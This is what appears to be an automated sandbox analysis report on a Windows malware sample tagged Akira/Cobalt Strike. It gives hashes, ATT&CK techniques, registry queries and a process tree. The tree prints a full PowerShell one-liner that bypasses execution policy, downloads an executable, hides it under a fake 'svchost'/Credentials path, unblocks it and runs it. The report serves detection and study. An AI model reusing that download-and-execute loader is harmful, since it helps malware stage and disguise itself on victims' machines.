e076f1c46941d1f2b9c0f7e76db5ef46a883cedfc49b63640bf5d22f2947d7cb

General

Target
2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe
Size 747KB
Sample260720-ctpv7acv4j
SHA256 e076f1c46941d1f2b9c0f7e76db5ef46a883cedfc49b63640bf5d22f2947d7cb
MD5 f8d36be0599e31ff30decd38caee9ead
SHA1 d217804a7db4c0ed282a501d5c0fcc7548839ad1
SHA512 40915289d5a91b3d9265433b2502609e298c882980133502420682d2006844ad9e7fd299398f8dc308d4ca9333e5a7da68b6284fa8862e3c3831fddeaf5ce2b1
SSDEEP 12288:q4BVDWgwK6nRcxAubXO/RyNZJSurbtvZgHEYoJcqeHTwsB5OIbkXrz4O:q4BVLwhI1O/QJSuX1MEzG3c0Og
TLSH
T1B0F4BEEF6AB47568D215CCF5F20673B2A532BC494E20687F02EC72342E3E951EA19735
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://nodejs.org/dist/v14.21.3/win-x64/node.exe

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5148	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2272	runtime_host.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5148	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5148	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4084	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	runtime_host.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	runtime_host.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	runtime_host.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5148	powershell.exe
5148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5148	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 6016 wrote to memory of 4084	6016	2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe	88
PID 4084 wrote to memory of 3336	4084	cmd.exe	90
PID 6016 wrote to memory of 5148	6016	2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe	91
PID 6016 wrote to memory of 2272	6016	2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe	94

C:\Users\Admin\AppData\Local\Temp\2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-20_f8d36be0599e31ff30decd38caee9ead_akira_cobalt-strike.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6016
- C:\Windows\system32\cmd.exe
  "cmd" /C "where node"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\where.exe
    where node
    3⤵
    PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -ExecutionPolicy Bypass -Command "$c = New-Object Net.WebClient; $c.DownloadFile('https://nodejs.org/dist/v14.21.3/win-x64/node.exe', 'C:\Users\Admin\AppData\Local\Microsoft\Credentials\svchost_1780\runtime_host.exe'); Unblock-File -Path 'C:\Users\Admin\AppData\Local\Microsoft\Credentials\svchost_1780\runtime_host.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5148
- C:\Users\Admin\AppData\Local\Microsoft\Credentials\svchost_1780\runtime_host.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Credentials\svchost_1780\runtime_host.exe" -
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  PID:2272